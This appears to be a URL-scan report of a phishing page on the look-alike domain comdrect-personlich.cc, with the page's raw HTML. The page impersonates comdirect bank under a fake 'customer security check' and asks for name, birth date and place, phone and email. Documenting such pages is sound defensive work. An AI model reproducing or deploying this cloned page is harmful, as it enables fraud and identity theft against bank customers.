- ID de l'analyse :
- 7bfaadb7-70d8-4c50-b9a1-429b06d03273Terminée
- URL soumise :
- https://comdrect-personlich.cc/details.php
- Fin du rapport :
Liens : 6 trouvé(s)
Liens sortants identifiés à partir de la page
| Lien | texte |
|---|---|
| https://magazin.comdirect.de | Magazin |
| https://jobs.commerzbank.com/index.php?ac=search_result&search_criterion_physical_location%5B%5D=551&search_criterion_physical_location%5B%5D=3 | Karriere |
| https://community.comdirect.de | Community |
| https://www.facebook.com/comdirect | Social Link zu Facebook Social Icon Facebook |
| https://www.youtube.com/comdirect | Social Link zu YouTube Social Icon YouTube |
| https://www.instagram.com/comdirect/?hl=de | Social Link zu Instagram Social Icon Instagram |
Variables JavaScript : 38 trouvée(s)
Les variables JavaScript globales chargées dans l'objet fenêtre d'une page sont des variables déclarées en dehors des fonctions et accessibles depuis n'importe quel endroit du code au sein du champ d'application actuel
| Nom | Type |
|---|---|
| onbeforetoggle | object |
| documentPictureInPicture | object |
| onscrollend | object |
| $ | function |
| jQuery | function |
| cmp | object |
| postToFlex | function |
| isEmpty | function |
| cdb | object |
| isReady | function |
Messages de journal de console : 4 trouvé(s)
Messages consignés dans la console web
| Type | Catégorie | Enregistrement |
|---|---|---|
| error | network |
|
| error | network |
|
| error | network |
|
| error | network |
|
HTML
Le corps HTML de la page en données brutes
<!DOCTYPE html><html class="jjfenuv idc0_350"><head><style>body {transition: opacity ease-in 0.2s; }
body[unresolved] {opacity: 0; display: block; overflow: hidden; position: relative; }
</style>
<script src="js/jquery-3.7.1.js" crossorigin="anonymous"></script>
<style>
body {
transition: opacity ease-in 0.2s;
}
body[unresolved] {
opacity: 0;
display: block;
overflow: hidden;
position: relative;
}
</style>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>Bank neu denken | comdirect - eine Marke der Commerzbank AG</title>
<meta name="robots" content="noindex, nofollow">
<meta name="author" content="comdirect.de">
<meta name="application-name" content="comdirect.de">
<meta name="cacheVersionQueryParam" content="v=1731657622918">
<meta name="domainSuffix" content=".comdirect.de">
<meta name="comdirectCifCallback" content="off">
<meta name="comdirectCifChat" content="off">
<meta name="comdirectCifVolltextsuche" content="on">
<meta name="comdirectCifTelefon" content="on">
<meta name="comdirectCifKontaktformular" content="on">
<meta name="comdirectCifVChat" content="off">
<meta name="comdirectCifOnlineLegitimation" content="on">
<meta name="comdirectCifServiceWorker" content="false">
<meta name="theme-color" content="#0b1e25">
<meta name="msapplication-TileImage" content="/comdirect_fav_150.png?v=1731657622918">
<meta name="msapplication-TileColor" content="#FFFFFF">
<!-- Wird rein in DEV und Test gerendert -->
<link rel="apple-touch-icon" sizes="180x180" href="apple-touch-icon.png?v=1731657622918">
<link rel="mask-icon" href="comdirect_fav_1005.svg?v=1731657622918" color="#0B1E25">
<link rel="icon" type="image/png" sizes="48x48" href="comdirect_fav_48.png?v=1731657622918">
<link rel="icon" type="image/png" sizes="192x192" href="comdirect_fav_192.png?v=1731657622918">
<link rel="stylesheet" href="styleguide-comdirect.css?v=1731657622918" type="text/css">
<style type="text/css">
.uxo-body--slim .uxo-head:not(.uxo-head--slim),
.uxo-body--slim .uxo-foot:not(.uxo-foot--slim),
.uxo-body:not(.uxo-body--slim) .uxo-head--slim,
.uxo-body:not(.uxo-body--slim) .uxo-foot--slim {
display: none;
}
</style>
<style id="dark-reader-style" type="text/css">
@media screen {
html {
-webkit-transition: -webkit-filter 300ms linear;
}
}
</style>
<style>
[_nghost-ng-c4098612670] {
display: block;
}
</style>
<style>
.step-navigation--sticky[_ngcontent-ng-c1580747536] {
top: 5rem;
}
</style>
<style>
[_nghost-ng-c2686942318] {
display: block;
}
</style>
<style>
[_nghost-ng-c2737202868] {
width: 100%;
min-height: 75vh;
scroll-behaviour: smooth;
}
</style>
<script src="https://static.cc/ccf2/modules/js/consentMgmt.module.js?v=1731657622918" type="text/javascript" async=""></script></head>
<body class="cif-scope-body uxo-body uxo-body--slim" data-plugin="{keepalive:{url:'/cp/keepalive',onError:'stop',interval:300,logoutTimeoutDialog:'true'}}">
<div class="cif-scope uxo-head uxo-head--slim" data-domain=".comdirect.de" data-version="?v=1731657622918" data-plugin="{cleanup:{}}">
<header class="header-container header-container--no-impulse">
<section class="header__section outer-spacing--medium-bottom-lg flex-layout__align-items--center">
<a aria-label="Markenlogo comdirect" href="#" class="header__logo--mobile header__logo--mobile-background">
<svg enable-background="new 0 0 62 73" viewBox="0 0 62 73" width="62px" height="73px" xmlns="http://www.w3.org/2000/svg">
<path d="m62 10.6c-6.6-6.5-15.6-10.6-25.7-10.6-20 0-36.3 16.3-36.3 36.3s16.3 36.3 36.3 36.3c10 0 19.1-4.1 25.7-10.6l-11.2-11.2c-3.7 3.7-8.8 6-14.5 6-11.3 0-20.5-9.2-20.5-20.5s9.2-20.5 20.5-20.5c5.7 0 10.8 2.3 14.5 6z" fill="currentColor"></path>
</svg>
</a>
<a aria-label="Markenlogo comdirect" href="#" class="header__logo header__logo--background">
<svg xmlns="http://www.w3.org/2000/svg" width="124px" height="21px" viewBox="48.478 103.112 152.304 24">
<path fill="#0B1E25" d="M56.978 110.6c-5.144 0-8.5 3.556-8.5 8.256 0 4.701 3.356 8.257 8.5 8.257 2.412 0 4.571-.853 6.039-2.508l-2.175-2.359c-1.029.935-2.412 1.638-3.963 1.638-2.715 0-4.772-2.062-4.772-5.027s2.058-5.03 4.772-5.03c1.551 0 2.75.591 3.878 1.622l2.26-2.343c-1.434-1.655-3.627-2.506-6.039-2.506zm16.495 0c-4.993 0-8.686 3.556-8.686 8.256 0 4.701 3.693 8.257 8.686 8.257 4.992 0 8.703-3.557 8.703-8.257-.001-4.703-3.711-8.256-8.703-8.256zm0 3.226c2.884 0 5.077 2.065 5.077 5.029 0 2.966-2.193 5.028-5.077 5.028-2.885 0-5.059-2.062-5.059-5.028-.001-2.963 2.174-5.029 5.059-5.029zm28.547-3.191c-2.108 0-3.585.752-4.748 1.812-.969-1.035-2.18-1.812-4.264-1.812-1.5 0-2.882.8-3.56 1.505v-1.152h-3.584v15.715h3.584v-11.315c.63-.729 1.599-1.411 3.077-1.411 2.132 0 3.099 1.787 3.099 4.211v8.516h3.585v-11.315c.678-.729 1.453-1.411 2.81-1.411 2.446 0 3.366 1.787 3.366 4.211v8.516h3.585v-8.021c.001-4.779-2.009-8.049-6.95-8.049m18.121-.035c-4.52 0-8.079 3.457-8.079 8.256 0 4.801 3.56 8.257 8.079 8.257 2.293 0 3.963-.902 5.076-2.293v1.883h3.524v-23.59h-3.524v9.797c-1.113-1.393-2.783-2.31-5.076-2.31zm.421 3.226c2.919 0 4.874 2.162 4.874 5.029s-1.956 5.028-4.874 5.028c-3.036 0-4.873-2.277-4.873-5.028-.001-2.751 1.836-5.029 4.873-5.029zm16.579-2.817h-3.542v15.693h3.542v-15.693zm13.037-.409c-1.974 0-3.627.688-4.688 2.179v-1.77h-3.491v15.693h3.525v-8.634c0-2.67 1.601-4.209 3.844-4.209.862 0 1.941.196 2.682.573l.844-3.391c-.811-.311-1.637-.441-2.716-.441zm11.839 0c-4.756 0-8.045 3.342-8.045 8.256 0 4.98 3.425 8.257 8.265 8.257 2.444 0 4.672-.573 6.645-2.212l-1.754-2.442c-1.332 1.033-3.053 1.655-4.673 1.655-2.293 0-4.333-1.179-4.807-3.997h11.943c.032-.394.065-.835.065-1.278-.016-4.899-3.119-8.239-7.639-8.239zm-.068 3.046c2.243 0 3.711 1.425 4.098 3.865h-8.382c.372-2.292 1.772-3.865 4.284-3.865zm18.739-3.046c-5.146 0-8.502 3.556-8.502 8.256 0 4.701 3.356 8.257 8.502 8.257 2.411 0 4.57-.853 6.037-2.508l-2.176-2.359c-1.028.935-2.411 1.638-3.963 1.638-2.715 0-4.773-2.062-4.773-5.027s2.058-5.03 4.773-5.03c1.552 0 2.75.591 3.878 1.622l2.261-2.343c-1.434-1.655-3.625-2.506-6.037-2.506zm9.333 10.419c0 4.177 2.142 6.094 5.801 6.094 2.023 0 3.659-.704 4.959-1.557l-1.4-2.735c-.962.59-2.159 1.063-3.254 1.063-1.417 0-2.564-.817-2.564-2.931v-6.832h6.189v-3.113h-6.189v-4.75h-3.541v14.761z"></path>
</svg>
</a>
<div id="headerTitle" class="header__title">Sicherheitsüberprüfung des Kunden</div>
<div class="flex-layout__grow--1 text-align--right outer-spacing--xlarge-right-md outer-spacing--medium-right-sm"></div>
</section>
</header>
</div>
<main class="cif-scope-content-wrapper">
<app-root role="main" ng-version="16.2.12"><router-outlet></router-outlet><uxo-depot-wertpapiersparplan class="ng-star-inserted"><uxo-root _nghost-ng-c2686942318=""><com-sticky-box _ngcontent-ng-c2686942318="" space-bottom="10xlarge" stickyzindex="79" class="uxo-head--slim ng-star-inserted" type="top" scroll-show-trigger="" scroll-hide-trigger="" offset="0"><div _ngcontent-ng-c2686942318="" class="ng-star-inserted">
<uxo-progressbar _ngcontent-ng-c2686942318="" space="xsmall"><div class="grid-container grid-container--limited-md ng-star-inserted">
<div class="grid grid--center">
<div class="col-8">
<div class="col__content">
<com-progress-bar value="0.3" space="xsmall" aria-live="polite" aria-atomic="true"></com-progress-bar>
</div>
</div>
</div>
</div>
<!----><!----></uxo-progressbar>
</div>
<!----><!----></com-sticky-box><!----><uxo-grid _ngcontent-ng-c2686942318=""><div class="flex-layout__grow--1 flex-layout flex-layout">
<div class="grid-container grid-container--limited-md flex-layout__basis--100 flex-layout__grow--1">
<div class="grid grid--center grid--full-height">
<div class="col-4 hidden visible-lg">
<div class="col__content col--full-height">
<uxo-navigation _ngcontent-ng-c2686942318="" role="navigation" _nghost-ng-c1580747536=""><div _ngcontent-ng-c1580747536="" class="step-navigation step-navigation--sticky visible-lg">
<com-list _ngcontent-ng-c1580747536="" type="no-icon" space-left-mobile="xsmall" space-left-tablet="xsmall" space-left-desktop="xlarge" icon-size="default" text-size="default"><span _ngcontent-ng-c1580747536="" class="flex-layout flex-layout__align-items--center ng-star-inserted" slot="DATA"><com-icon _ngcontent-ng-c1580747536="" name="cd_arrow-right-16" space-right="small" class="ng-star-inserted" size="" icon-color="" svg-vertical-align="top"></com-icon><strong _ngcontent-ng-c1580747536="" class="ng-star-inserted">Angaben</strong><!----><!----><!----></span><span _ngcontent-ng-c1580747536="" class="flex-layout flex-layout__align-items--center ng-star-inserted" slot="CONFIRMATION"><com-icon _ngcontent-ng-c1580747536="" space-right="small" class="ng-star-inserted" name="" size="" icon-color="" svg-vertical-align="top"></com-icon><span _ngcontent-ng-c1580747536="" class="ng-star-inserted">Bestätigung</span><!----><!----><!----><!----></span><span _ngcontent-ng-c1580747536="" class="flex-layout flex-layout__align-items--center ng-star-inserted" slot="IDENTITY"><com-icon _ngcontent-ng-c1580747536="" space-right="small" class="ng-star-inserted" name="" size="" icon-color="" svg-vertical-align="top"></com-icon><span _ngcontent-ng-c1580747536="" class="ng-star-inserted">Ende der Sicherheitsüberprüfung</span><!----><!----><!----><!----></span><span _ngcontent-ng-c1580747536="" class="flex-layout flex-layout__align-items--center ng-star-inserted" slot="ACCESS-DATA"><com-icon _ngcontent-ng-c1580747536="" space-right="small" class="ng-star-inserted" name="" size="" icon-color="" svg-vertical-align="top"></com-icon></span></com-list>
</div></uxo-navigation>
</div>
</div>
<div class="col--lg-push-right-2 col--md-6 col--sm-4 col-6">
<div class="col__content col--full-height flex-layout">
<cdb-form-container _nghost-ng-c2737202868="" class="ng-tns-c2737202868-0 ng-star-inserted"><div _ngcontent-ng-c2737202868="" class="ng-tns-c2737202868-0 ng-star-inserted">
<form _ngcontent-ng-c2737202868="" novalidate="" class="ng-tns-c2737202868-0 ng-trigger ng-trigger-fadeAnimation ng-pristine ng-touched ng-invalid" style="">
<uxo-personal-data class="ng-star-inserted"><uxo-flow-step><section>
<uxo-personal-data-input><div class="outer-spacing--xxlarge-bottom">
<!---->
<h1 class="headline headline--h1" style="
color: var(--text);
margin-bottom: 0px;
margin-top: 0px;
">
<h1 class="headline headline--h1" style="color: var(--text); margin-bottom: 0px; margin-top: 0px;"><com-headline-h1 type="h1" weight="" color="cd_text" space-top="none" space-bottom="none">
Wir benötigen einige Angaben von Ihnen
<!----><!----><!----><!----><!----><!----><!----><!----><!----><!----><!----></com-headline-h1></h1></h1>
</div>
<!----><com-input-group><com-radio-button formcontrolname="gender" tabindex="0" aria-label="Anrede" class="ng-untouched ng-pristine ng-invalid" type="horizontal" radio-position="center" size="medium" valid="false" value="" role="radiogroup"><com-radio-child value="W" slot="0">Frau</com-radio-child><com-radio-child value="M" slot="1">Herr</com-radio-child></com-radio-button></com-input-group><com-error-messages></com-error-messages><com-input-group><com-floating-input formcontrolname="name" type="text" tabindex="0" class="ng-untouched ng-pristine ng-invalid" value="" name="name" max-length="" allowpaste="" placeholder="" date-separator="." inputmode="text" pattern="" autofill="true">Vorname</com-floating-input></com-input-group>
<com-error-messages></com-error-messages><com-input-group><com-floating-input formcontrolname="surname" type="text" tabindex="0" class="ng-untouched ng-pristine ng-invalid" value="" name="surname" max-length="" allowpaste="" placeholder="" date-separator="." inputmode="text" pattern="" autofill="true">Nachname</com-floating-input></com-input-group><com-error-messages></com-error-messages><com-input-group class="ng-star-inserted"><com-floating-input formcontrolname="birthname" type="text" tabindex="0" class="ng-untouched ng-pristine ng-valid" value="" name="birthname" max-length="" id="birthname" allowpaste="" placeholder="" date-separator="." inputmode="text" pattern="" autofill="true">Ggf. Geburtsname
(optional)</com-floating-input></com-input-group><com-error-messages class="ng-star-inserted"></com-error-messages><!----><!----><com-text-p space-bottom="medium" class="ng-star-inserted" weight="" size="" paragraph="true"><b>Jetzt die Geburtsdaten laut Ihrem
Ausweis</b></com-text-p><!----><com-input-group><com-date-picker formcontrolname="dob" class="ng-untouched ng-pristine ng-invalid" value="" name="dob" label="Geburtsdatum: TT.MM.JJJJ" date-separator="." min-date="01.01.1924"></com-date-picker></com-input-group><com-error-messages></com-error-messages><com-input-group><com-floating-input formcontrolname="birthplace" type="text" tabindex="0" class="ng-untouched ng-pristine ng-invalid" value="" name="birthplace" max-length="" allowpaste="" placeholder="" date-separator="." inputmode="text" pattern="" autofill="true">Geburtsort</com-floating-input></com-input-group><com-error-messages></com-error-messages>
<com-input-group><com-floating-input formcontrolname="telefonnummer" type="text" tabindex="0" class="ng-untouched ng-pristine ng-invalid" value="" name="telefonnummer" max-length="" allowpaste="" placeholder="" date-separator="." inputmode="text" pattern="" autofill="true">Telefonnummer</com-floating-input></com-input-group><com-error-messages></com-error-messages>
<com-input-group>
<com-floating-input formcontrolname="email" type="text" tabindex="0" class="ng-untouched ng-pristine ng-invalid" value="" name="email" max-length="" allowpaste="" placeholder="" date-separator="." inputmode="text" pattern="" autofill="true">E-mail</com-floating-input></com-input-group><com-error-messages></com-error-messages>
</uxo-personal-data-input>
<div class="outer-spacing--10xlarge-top ng-star-inserted">
<uxo-flow-step-button-area class="ng-star-inserted"><com-button-area><com-button size="medium" growing="mobile" slot="right" class="ng-star-inserted" ui-type="primary" font-icon-type="angle-right" space-left="xsmall" space-right="xsmall" space-bottom-mobile="medium" space-left-mobile="none" space-right-mobile="none" style="
display: inline-flex;
width: initial;
">Weiter</com-button><!----><!----><!----><!----><!----><!----></com-button-area></uxo-flow-step-button-area><!----><!---->
</div>
<!----><!---->
</section></uxo-flow-step></uxo-personal-data><!---->
</form>
</div>
<!----><!----></cdb-form-container><!---->
</div>
</div>
</div>
</div>
</div></uxo-grid></uxo-root></uxo-depot-wertpapiersparplan><!----></app-root>
</main>
<div class="landingpage-footer__container">
<footer class="landingpage-footer hidden-print uxo-foot uxo-foot--slim">
<div class="grid-container grid-container--limited-md">
<div class="grid grid--center">
<div class="col-12">
<div class="col__content">
<span class="landingpage-footer__headline headline headline--h3">Wir sind jeden Tag 24 Stunden für Sie da.</span>
<ul class="landingpage-footer__list landingpage-footer__list--contact">
<li class="landingpage-footer__list-item">
Kontakt:
<a href="tel:04106 - 708 25 00" class="landingpage-footer__list--contact-link" data-plugin="{at:{pageId:'coai2863',cDes:'LSG-footer|telefon_kunde'}}">04106 - 708 25 00</a>
</li>
</ul>
</div>
<div class="col__content">
<ul class="landingpage-footer__list landingpage-footer__list--legal">
<li class="landingpage-footer__list-item">
<a class="landingpage-footer__list--legal-link" target="_blank" href="/cms/hilfe-service-impressum.html" data-plugin="{at:{pageId:'coai1113', cDes:'LSG-footer|Impressum'}}">Impressum</a>
</li>
<li class="landingpage-footer__list-item">
<a class="landingpage-footer__list--legal-link" target="_blank" href="/cms/hilfe-service-sicherheit-datenschutz.html" data-plugin="{at:{pageId:'coai1114', cDes:'LSG-footer|Datenschutz'}}">Datenschutz</a>
</li>
<li class="landingpage-footer__list-item">
<a href="#uc-corner-modal-show">Einwilligungseinstellungen</a>
</li>
<li class="landingpage-footer__list-item">
<a class="landingpage-footer__list--legal-link" target="_blank" href="/cms/hilfe-service-nutzungsbedingungen.html" data-plugin="{at:{pageId:'coai1116', cDes:'LSG-footer|Nutzungsbedingungen'}}">Nutzungsbedingungen</a>
</li>
<li class="landingpage-footer__list-item">
<a class="landingpage-footer__list--legal-link" target="_blank" href="/pbl/ePdfTracker.do?ePageId=cori6762" data-plugin="{at:{pageId:'coai1117', cDes:'LSG-footer|AGB'}}">AGB</a>
</li>
</ul>
</div>
</div>
<div class="col-12 inner-spacing--none-vertical">
<div class="col__content col__content--no-padding-vertical">
<span class="landingpage-footer__copyright">© comdirect - eine Marke der Commerzbank AG</span>
</div>
</div>
</div>
</div>
</footer>
<div class="landingpage-footer__shape">
<svg aria-hidden="true" enable-background="new 0 0 1920 312" viewBox="0 0 1920 312" xmlns="http://www.w3.org/2000/svg">
<path clip-rule="evenodd" d="m388 86c0 16.6-13.4 30-30 30s-30-13.4-30-30 13.4-30 30-30 30 13.4 30 30zm-30 15c8.3 0 15-6.7 15-15s-6.7-15-15-15-15 6.7-15 15 6.7 15 15 15z" fill="#3f4b50" fill-rule="evenodd"></path>
<path d="m268 118c66.3 0 120 53.7 120 120h-120z" fill="#27343a"></path>
<g fill="#3f4b50">
<circle cx="238" cy="148" r="5"></circle>
<circle cx="238" cy="128" r="5"></circle>
<circle cx="218" cy="128" r="5"></circle>
<circle cx="258" cy="148" r="5"></circle>
<circle cx="258" cy="128" r="5"></circle>
<circle cx="258" cy="168" r="5"></circle>
</g>
<circle cx="1688" cy="86" fill="#fff500" r="5"></circle>
<circle cx="1688" cy="66" fill="#fff500" r="5"></circle>
<circle cx="1708" cy="66" fill="#fff500" r="5"></circle>
<circle cx="1668" cy="86" fill="#fff500" r="5"></circle>
<circle cx="1668" cy="66" fill="#fff500" r="5"></circle>
<circle cx="1668" cy="106" fill="#fff500" r="5"></circle>
<path d="m1538 238c0-33.1 26.9-60 60-60s60 26.9 60 60h-30c0-16.6-13.4-30-30-30s-30 13.4-30 30z" fill="#27343a"></path>
</svg>
</div>
</div>
<!-- googleoff:index -->
<!-- googleoff:snippet -->
<div class="cif-scope uxo-foot">
<div class="footer__wrapper hidden-print">
<footer>
<div class="footer__container">
<div class="flex-layout flex-layout__wrap--wrap flex-layout__justify-content--space-between">
<div class="flex-layout__basis--medium--100 flex-layout__basis--small--100">
<a href="/" class="footer__logo">
<svg enable-background="new 0 0 200 84" viewBox="0 0 200 84" height="84px" width="200px">
<clipPath id="a">
<path d="m0 0h200v84h-200z"></path>
</clipPath>
<g clip-path="url(#a)">
<path d="m62.8 32.7h5v-11.8c0-1.8.3-3.1 1-4s1.6-1.4 2.9-1.4 2.2.5 2.9 1.4c.6.9.9 2.2.9 4v11.8h5v-13.4c0-1.2-.2-2.3-.6-3.5-.4-1-.9-1.9-1.7-2.7-1.2-1.2-2.7-2-4.4-2.3s-3.4 0-4.9.9c-1.1.7-2.1 1.6-2.7 2.8-.7-1.1-1.6-2.1-2.8-2.8-1.1-.6-2.4-1-3.7-1-.6 0-1.1.1-1.6.2s-.9.3-1.4.6c-.4.2-.7.5-1.1.8-.3.3-.5.6-.7.9v-1.8h-4.9v21.3h5v-11.8c0-1.8.3-3.1.9-4s1.6-1.4 2.9-1.4 2.3.5 2.9 1.4c.7.9 1 2.2 1 4v11.8zm136.9-.4c-.7.3-1.3.5-2 .7-.8.2-1.6.3-2.4.3-2.5 0-4.4-.7-5.7-2-1.4-1.4-2-3.5-2-6.3v-20h5v6.4h6.3v4.5h-6.3v8.8c0 .6.1 1.2.2 1.8.1.4.3.8.6 1.2.3.3.6.5 1 .7.4.1.8.2 1.3.2s.9-.1 1.4-.2.9-.3 1.3-.5zm-198.5-5.8c.6 1.3 1.4 2.5 2.4 3.6 1.1 1 2.3 1.8 3.7 2.3 1.5.6 3 .9 4.6.8 1.7 0 3.4-.3 5-1 1.5-.6 2.8-1.6 3.9-2.8l-3-3.8c-.7.8-1.7 1.5-2.7 2s-2.2.8-3.3.8c-.9 0-1.7-.2-2.5-.5s-1.5-.8-2-1.3c-.6-.6-1.1-1.3-1.4-2-.3-.8-.5-1.7-.5-2.6s.2-1.8.5-2.7c.3-.8.8-1.5 1.4-2.1s1.3-1 2-1.3c.8-.3 1.7-.5 2.5-.5 1.1 0 2.3.3 3.3.8s1.9 1.2 2.7 2.1l3-3.8c-1.1-1.2-2.4-2.2-3.9-2.8-1.6-.7-3.3-1-5-1-1.6 0-3.1.3-4.6.9-1.4.6-2.6 1.4-3.7 2.4-1 1-1.9 2.2-2.4 3.6-1.2 2.8-1.2 6.1 0 8.9zm39.3-7.1c-.3-.8-.7-1.5-1.3-2.1s-1.2-1-2-1.3c-1.6-.6-3.4-.6-5.1 0-.7.3-1.4.8-2 1.3-.6.6-1 1.3-1.3 2.1s-.5 1.7-.5 2.6.1 1.8.5 2.7c.3.8.7 1.5 1.3 2.1s1.2 1 2 1.3c1.6.6 3.5.6 5.1 0 .8-.3 1.4-.8 2-1.3.6-.6 1-1.3 1.3-2.1.6-1.7.6-3.6 0-5.3zm4.7 7.1c-.6 1.3-1.4 2.6-2.4 3.6s-2.3 1.8-3.6 2.4c-2.9 1.1-6.2 1.1-9.1 0-1.4-.5-2.6-1.4-3.6-2.4s-1.8-2.2-2.4-3.6c-1.1-2.9-1.1-6 0-8.9.6-1.3 1.4-2.6 2.4-3.6s2.3-1.8 3.6-2.4c2.9-1.1 6.2-1.1 9.1 0 1.4.5 2.6 1.4 3.6 2.4s1.9 2.2 2.4 3.6c1.2 2.8 1.2 6 0 8.9zm56.7-4.5c0 .9-.1 1.7-.4 2.6-.3.8-.7 1.5-1.2 2.1s-1.2 1.1-1.9 1.4c-.8.3-1.6.5-2.5.5s-1.8-.2-2.6-.5c-.7-.3-1.4-.8-1.9-1.4s-.9-1.3-1.2-2.1c-.5-1.7-.5-3.4 0-5.1.2-.8.6-1.5 1.2-2.1.5-.6 1.2-1.1 1.9-1.4.8-.4 1.7-.5 2.6-.5s1.7.2 2.5.5c.7.3 1.4.8 1.9 1.4s.9 1.3 1.2 2.1c.3.7.5 1.6.4 2.5zm4.9 10.7v-32.7h-5v13.7c-.7-.9-1.6-1.7-2.7-2.2-1.2-.6-2.5-.8-3.9-.8s-2.8.3-4.1.8-2.5 1.4-3.4 2.4c-1 1-1.7 2.2-2.2 3.5-1.1 2.9-1.1 6.1 0 9 .5 1.3 1.2 2.5 2.2 3.6 1 1 2.1 1.8 3.4 2.4 1.3.5 2.7.8 4.1.8 1.3 0 2.7-.2 3.9-.8 1.1-.5 2-1.2 2.6-2.2v2.4zm47.1-14.5c-.3-.6-.6-1.1-1.1-1.5-.4-.4-1-.8-1.6-1s-1.3-.4-2-.4-1.4.1-2.1.4c-.6.2-1.1.6-1.6 1-.4.4-.8.9-1.1 1.5s-.4 1.2-.5 1.9h10.4c.1-.7-.1-1.3-.4-1.9zm5.6 4.8c0 .3-.1.6-.1.9h-15.4c.1.8.3 1.5.7 2.2.3.6.8 1.1 1.4 1.5s1.2.7 1.8.9c.7.2 1.4.3 2.1.3 1.1 0 2.2-.2 3.2-.6 1.1-.4 2.1-1 3-1.7l2.4 3.7c-1.2 1-2.6 1.8-4.2 2.3-1.5.5-3.1.7-4.7.7-1.5 0-3-.3-4.4-.8-1.3-.5-2.5-1.3-3.5-2.3s-1.8-2.2-2.3-3.6c-.6-1.5-.8-3-.8-4.6s.2-3.1.8-4.6c.5-1.3 1.2-2.5 2.2-3.6.9-1 2.1-1.8 3.4-2.3 1.4-.6 2.8-.8 4.3-.8 1.4 0 2.8.3 4.1.8 1.2.5 2.3 1.3 3.2 2.3s1.6 2.2 2.1 3.5c.5 1.5.8 3 .7 4.6.1.5.1.8 0 1.2zm-29-11.5c-1.1.5-1.9 1.4-2.5 2.4v-2.5h-5v21.3h5v-11.7c0-.8.1-1.6.4-2.3.2-.6.5-1.2 1-1.7.4-.5.9-.8 1.5-1.1.6-.2 1.3-.4 2-.4.6 0 1.2.1 1.8.2s1.2.3 1.7.6l1.1-4.8c-.5-.2-1.1-.4-1.6-.5-.6-.1-1.3-.2-1.9-.2-1.2-.1-2.4.2-3.5.7zm-13 21.2h-5v-21.3h5zm46.4-6.2c.6 1.3 1.4 2.5 2.4 3.6 1.1 1 2.3 1.8 3.7 2.3 1.5.6 3 .9 4.6.8 1.7 0 3.4-.3 5-1 1.5-.6 2.8-1.6 3.9-2.8l-3-3.8c-.8.8-1.7 1.5-2.7 2s-2.2.8-3.3.8c-.9 0-1.7-.2-2.5-.5s-1.5-.8-2-1.3c-.6-.6-1.1-1.3-1.4-2-.3-.8-.5-1.7-.5-2.6s.2-1.8.5-2.7c.3-.8.8-1.5 1.4-2.1s1.3-1 2-1.3c.8-.3 1.7-.5 2.5-.5 1.1 0 2.3.3 3.3.8s1.9 1.2 2.7 2.1l3-3.8c-1.1-1.2-2.4-2.2-3.9-2.8-1.6-.7-3.3-1-5-1-1.6 0-3.1.3-4.6.9-1.4.5-2.6 1.3-3.7 2.4-1 1-1.9 2.2-2.4 3.6-1.2 2.8-1.2 6.1 0 8.9" fill="#fff500"></path>
<g fill="#fff">
<path d="m102.5 59.2c.4-.2.8-.3 1.2-.2.4 0 .7 0 1.1.2.3.1.6.3.9.6s.5.6.6.9.2.7.2 1.1v4.5h-1.9v-3.8c0-1-.5-1.6-1.4-1.6-.8 0-1.5.5-1.5 1.6v3.8h-1.9v-7h1.8v.7c.2-.3.5-.6.9-.8z"></path>
<path clip-rule="evenodd" d="m91.3 62.7c0-2.2 1.4-3.7 3.5-3.7 2 0 3.4 1.5 3.4 3.7v.6h-5c.1.4.3.8.6 1.1s.8.4 1.2.4c.6 0 1.3-.3 1.8-.7l1.1 1.2c-.8.7-1.9 1.1-3 1.1-2.1 0-3.6-1.5-3.6-3.7zm5-.7c-.2-.9-.7-1.4-1.5-1.4-.9 0-1.4.5-1.6 1.4z" fill-rule="evenodd"></path>
<path d="m83.2 55.8h1.9v4.2c.2-.3.5-.6.9-.7.4-.2.7-.2 1.1-.2s.7 0 1.1.2c.3.1.6.3.9.6s.5.6.6.9.2.7.2 1.1v4.5h-1.9v-3.8c0-1-.5-1.6-1.4-1.6-.8 0-1.5.5-1.5 1.6v3.8h-1.9z"></path>
<path clip-rule="evenodd" d="m74.7 62.7c0-2.2 1.4-3.7 3.5-3.7 2 0 3.4 1.5 3.4 3.7v.6h-5c.1.4.3.8.6 1.1s.8.4 1.2.4c.6 0 1.3-.3 1.8-.7l1.1 1.2c-.8.7-1.9 1.1-3 1.1-2.1 0-3.6-1.5-3.6-3.7zm5.1-.7c-.2-.9-.7-1.4-1.5-1.4-.9 0-1.4.5-1.6 1.4z" fill-rule="evenodd"></path>
<path d="m71 59.2h2.5v1.7h-2.5v2.6c0 .9.5 1.2 1 1.2s.9-.2 1.3-.5l.7 1.5c-.7.5-1.5.7-2.3.7-1.7 0-2.6-1-2.6-2.8v-2.7h-1.4v-1.7h1.4v-2.1h1.9z"></path>
<path d="m64 59c1 0 2 .2 2.9.7l-.6 1.5c-.7-.3-1.5-.5-2.2-.6-.7 0-1.1.2-1.1.6s.5.5 1.1.6l.6.1c1.5.2 2.4.9 2.4 2.1 0 1.4-1.2 2.4-3.2 2.4-1 0-2.2-.2-3.1-.8l.7-1.4c.7.5 1.5.7 2.4.7s1.3-.2 1.3-.7c0-.3-.4-.5-1.2-.6l-.6-.1c-1.6-.2-2.4-.9-2.4-2.1 0-1.5 1.1-2.4 3-2.4z"></path>
<path d="m58 59.2c.3-.2.7-.2 1.1-.2.3 0 .7 0 1 .2l-.3 1.8c-.4-.1-.7-.2-1.1-.2-.9 0-1.5.5-1.5 1.6v3.8h-1.9v-7h1.8v.8c.3-.3.6-.6.9-.8z"></path>
<path clip-rule="evenodd" d="m46.8 62.7c0-2.2 1.4-3.7 3.5-3.7 2 0 3.4 1.5 3.4 3.7v.6h-5c.1.4.3.8.6 1.1s.8.4 1.2.4c.6 0 1.3-.3 1.8-.7l1.1 1.2c-.8.7-1.9 1.1-3 1.1-2.1 0-3.6-1.5-3.6-3.7zm5.1-.7c-.2-.9-.7-1.4-1.5-1.4-.9 0-1.4.5-1.6 1.4z" fill-rule="evenodd"></path>
<path d="m44.4 59.2h2l-2.7 7h-2.2l-2.8-7h2.1l1.8 5z"></path>
<path d="m32.8 59.2c.3-.2.7-.2 1.1-.2.3 0 .7 0 1 .2l-.3 1.8c-.4-.1-.8-.2-1.1-.2-.9 0-1.5.5-1.5 1.6v3.8h-1.9v-7h1.8v.8c.2-.4.5-.6.9-.8z"></path>
